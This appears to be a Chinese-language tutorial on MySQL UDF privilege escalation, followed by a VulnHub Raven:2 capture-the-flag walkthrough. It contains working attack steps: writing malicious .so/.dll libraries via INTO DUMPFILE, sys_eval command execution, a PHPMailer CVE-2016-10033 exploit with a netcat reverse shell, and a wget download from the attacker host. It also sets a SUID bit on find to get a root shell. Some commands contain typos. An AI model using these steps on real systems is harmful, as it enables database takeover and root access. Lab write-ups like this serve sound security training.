Mysql内置函数
Mysql有很多内置函数提供给使用者,包括字符串函数,数值函数,日期和时间函数等,给开发人员和使用者带来了很多方便
UDF介绍
Mysql的内置函数虽热丰富,但毕竟不能满足所有人的需求,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对Mysql进行一些扩展,幸运的是,Mysql给使用者提供了添加新函数的机制,这种使用者自行添加的Mysql函数就称为UDF(User Define Function)UDF机制能够起作用,必须使用C或者C++编写函数,它有3种返回值,这三种分别是STRING,INTEGER,REAL
#include <mysql.h> //连接mysql必须的头文件
extern "C" long long lyqdel(UDF_INIT *initid,UDF_ARGS *args,char *is_null,char *error)
//设置外部变量{
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b
}
extern "C" my_bool lyqdel_init(UDF_INIT *initid,UDF_ARGS *args,char *message)
{
return 0;
}
/*对于STRING函数
char *xxx(UDF_INIT *initid,UDF_ARGS *args,char *result,unsigned long *length,char *is_null,char *error);
对于INTEGER函数
long long xxx(UDF_INIT *initid,UDF_ARGS *args, char *is_null,char *error);
对于REAL函数
double xxx(UDF_INIT *initid,UDF_ARGS *args,char *is_null,char *error);
*/
系统内置函数
在完成了用户定义的主函数以后,还需要编写配套的系统内置函数
lyqdel_init函数
这个函数会在自定义的lyqdel函数被调用前被调用,进行基本的初始化工作,其完整定义如下,该函数的主要功能一般是分配空间,函数参数检查等,如果不需要做任何操作,直接返回0即可
my_bool lyqdel_init(UDF_INIT *initid,UDF_ARGS *args,char *message)
返回值:1代表出错,可以在message中给出错误信息并且返回给客户端,0表示正常执行
lyqdel_deinit
该函数用于释放申请空间,其完整定义如下,该函数的功能主要是释放资源,如果在lyqdel_linit申请了内存,可以在此处释放,该函数在用户函数lyqdel执行以后执行
void lyqdel_deinit(UDF_INIT *initid);
执行流程
调用lyqdel_init来初始化,并申请内存空间用于存储结果
调用lyqdel自定义函数
调用lyqdel_deinit释放空间
生成动态链接库
动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数,函数的可执行代码位于一个DLL文件中,该DLL包含一个或多个已被编译,链接并与使用它们的进程分开存储的函数,DLL还有助于共享数据和资源,多个应用程序可同时访问内存中单个DLL副本的内容,windows是dll文件,linux是so文件
windows使用
使用vs创建DLL文件即可
linux使用
g++ -shared -fPIC -I /usr/include/mysql -o udf.so udf.cpp
上传到目标机器
- mysql<5.0路径随意
- 5.0<=Mysql<5.1,放置系统目录(C:\windows或者C:\windows\system32)
- mysql>5,1,udf.dll文件必须在放置在mysql安装目录下的lib/plugin文件夹下,lib\plugins目录默认不存在,需要自行创建
创建函数
函数名字必须和源码中一样
create function <函数名>lyqdel returns string soname "udf.dll";
查询是否导入成功
select * from mysql.func;
执行函数
select 函数名(参数)
提权方法一:Sqlmap
sqlmap中的udf提权.dll或者.so文件目录/usr/share/sqlmap/data/udf/mysql
发现sqlmap中的dll后缀加了_ ,打开发现是加密文件
sqlmap中的是通过加密的,需要用解密脚本解密,解密脚本在/sqlmap/extra/cloak/cloak.py用法如下
python cloak.py -d -i lib_mysqludf_sys.so_(sqlmap中的加密动态链接文件)
执行python脚本后返回文件夹发现已经解密了
提权方法二:MSF
MSF自带的dll os UDF提权目录
/usr/share/metasploit-framework/data/exploits/mysql
使用MSF中的exploit/multi/mysql/mysql_udf_payload模块也可以进行UDF提权,MSF会将dll写入lib\plugin\目录下(前提是目录存在,如果目录不存在,则不能成功),DLL文件可以取任意的名字,该dll文件包含sys_exec()和sys_eval()两个函数.但是默认只创建sys_exec()函数,该函数执行并不会有回显,我们可以手工创建sys_eval()函数,来执行有回显的命令
sys_exec() sys_eval()解析
mysql>
SELECT sys_eval('Hello llyqyq!');
+-------------------------------+
|sys_eval('echo hello llyqyq') |
+-------------------------------+
| hello mysql udf |
+-------------------------------+
1 row in set (0.00 sec)
eval()函数可将字符串转换为代码执行,并返回一个或多个值
exec()命令代替shell程序,命令退出,shell退出 与eval不一样的是exec不会返回值,所以我们执行命令过后不会有回显
查询运行权限
为什么要查询运行权限呢,因为udf本质上并不是提权,是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话就无法执行 所以一般要root用户
mysql> select user()
+-----------------+
|user() |
+-----------------+
|root@localhost |
+-----------------+
1 row in set (0.00 sec)
查询软件版本
不同版本的动态链接文件导入的地方不同Q
mysql>select version();
+---------------+
|version() |
+---------------+
|5.7.37 |
+---------------+
1 row in set (0.00 sec)
查看secure_file_priv的值
secure_file_priv是用来限制load dumpfile,into outfile,load_file()函数在哪个目录下拥有上传或者读取文件的权限
show global variables like 'secure%'
当secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法提权
当secure_file_prive的值为/tmp/ 表示mysqld的导入|导出只能在/tmp目录上,此时也无法提权
当secure_file_prive的值没有具体值时,表示任何目录都可以导入|导出,此时可以提权
执行show global variables like 'secure%';
secure_file_priv的值在MySQL数据库的安装目录的my.ini文件中配置
查看plugin目录位置
将dll文件写入plugin目录,并且创建函数
创建一张临时表用来存放DLL/SO文件的十六进制内容
mysql>REATE TABLES lyq_udf (udf blob);
Query OK,0 row affected (0.01 sec)
转换为十六进制
插入
其中$binaryCode为已经转换好的十六进制内容,$binarycode前加0X
INSERT into lyq_udf values (CONVERT($binaryCode,CHRA));
转化成十六进制方法很多这里我们使用mysql
select hex(load_file('C:/udf,dll')) into dumpfile 'c:/udf.txt'
导出
选择对应的地方进行导出
SELECT udf FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugins/udf.so"
此时如果出现了错误Can't create/write to file是因为没有lib/plugin目录into dumpfile也不能创建文件夹所以报错
创建函数
create function sys_eval returns string soname 'udf.os'
最后就可以执行system命令了 这里算是udf提权成功了
select * from mysql.func where name = 'sys_eval';
//查看创建的sys_eval函数
select sys_eval('whoami')
VulnHub-Raven:2渗透测试[UDF提权复现]
本靶场主要介绍了CVE-2016-10033远程代码执行漏洞以及udf提权
靶场下载:https://download.vulnhub.com/raven/Raven2.ova
靶场网络设置NAT模式
探测主机存在
nmap -sP -sn 192.168.106.1/24
发现一个主机存活,应该就是我们渗透的靶机 靶机IP:192.168.106.131
根据上面的扫码信息我们看到靶机开放了22.80.111
访问一下80端口
进行目录扫描
打开http://192.168.106.131/vendor/PATH爆出了flag爆出了路径/var/www/html/vendor
找到http://192.168.106.131/vendor/README.md
发现靶机存在phpMailer邮件服务,且版本为5.2.16
#漏洞利用
查找phpMailer版本小于5,2,16的漏洞(CVE-2016-10033)
使用searchsploit查找相关漏洞 使用过msf框架渗透没有成功只能使用其他方法
将脚本保存到桌面search -m php/webapps/40974.py
修改脚本参数
开头加上#!/usr/bin/python # -*- coding: utf-8 -*-
修改target地址为靶场的CONTACT页面地址
修改backdoor为lyq是因为backdoor名字过于敏感
修改网站根目录地址/var/www/html/lyq.php
设置攻击机的ip地址监听端口
修改完了过后可能会报错类似于
安装requests-toolbet即可输入指令
pip install requests-toolbelt 然后python3 40974.py
nc监听1715
访问lyq. php然后看nc回显
nc已经监听到了并且得到了shell
优化终端
python -c 'import pty;pty.spawn("/bin/bash")'
找一找有没有flag
find / -name "flag*"
发现了flag2.txt ,flag3.png
flag2.txt
flag3.png
还有一个flag没有找到应该是在root目录里面,所以我们应该有提权是思路
发现了该网站wp模板访问进去
访问配置文件wp-config.php 果然发现了mysql root账户
直接登录mysql
mysql5.5.60可以利用我们今天学到的udf提权
查看plugin目录
show global variables like 'plugin%';
目录没有问题可以进行上传UDF
查看导入的目录
show global variables like 'secure%';
secure_file_priv是空目录可以进行任何地方的导入
找到udfpayload进行十六进制
MSF的目录 /usr/share/metasploit-framework/data/exploits/mysql
使用mysql禁止二进制编码
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so')) into dumpfile './djxudf';
最后生成的文件目录在/var/lib/mysql/djxudf
将十六进制编码后udf文件使用dumpfile函数写入磁盘(outfile)导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作
select 0x刚刚转换的一堆十六进制代码 into dumpfile '/usr/lib/mysql/plugin'
随便进一个数据库,任何创建一个表
show databases;
use wordpress;
show tables;
create table djx(data longblob);
插入信息
insert into djx(data) values (0x十六进制代码);
更新补全十六进制代码使用
update djx set data = concat(data,0x十六进制代码);
将djx表中的文件导入到/usr/lib/mysql/plugin
select data from djx into dumpfile "/usr/lib/mysql/plugin/lyq.so";
创建函数sys_eval
create function sys_eval returns string soname 'lyq.so';
实例用法
create function sys_eval returns string soname 'lyq.so';
方法二
searchsploit搜索漏洞
下载漏洞
searchsploit -m linux/local/1518.c
编译成os文件
gcc -g -c 1518.c
gcc -g -shared -o lyqdjx.so 1518.o -lc
kali开启http服务
靶机切换到tmp临时目录
下载os文件到靶场wget http://192.168.106.128:9090/lyqdjx.so
登录mysql
进入mysql数据库
创建一个表
添加字段数值 添加的我们上传到靶机的payload 将djx表中的所有内如导入到/usr/lib/mysql/plugin
select * from djx into dumpfile '/usr/lib/mysql/plugin/lyqdjx.so';
创建自定义函数
create function do_system returns integer soname 'lyqdjx.so';
通过审计1518.c我们知道使用的是do_system函数通过do_system find命令所有者的suid权限,使其可以执行root权限命令;
select do_system('chmod u+s /usr/bin/find');
切换到tmp目录 创建一个文件 find 文件 -exec "bin/sh" \;
touch djx
find djx -exec "/bin/sh" \;
进入root目录 找到flag4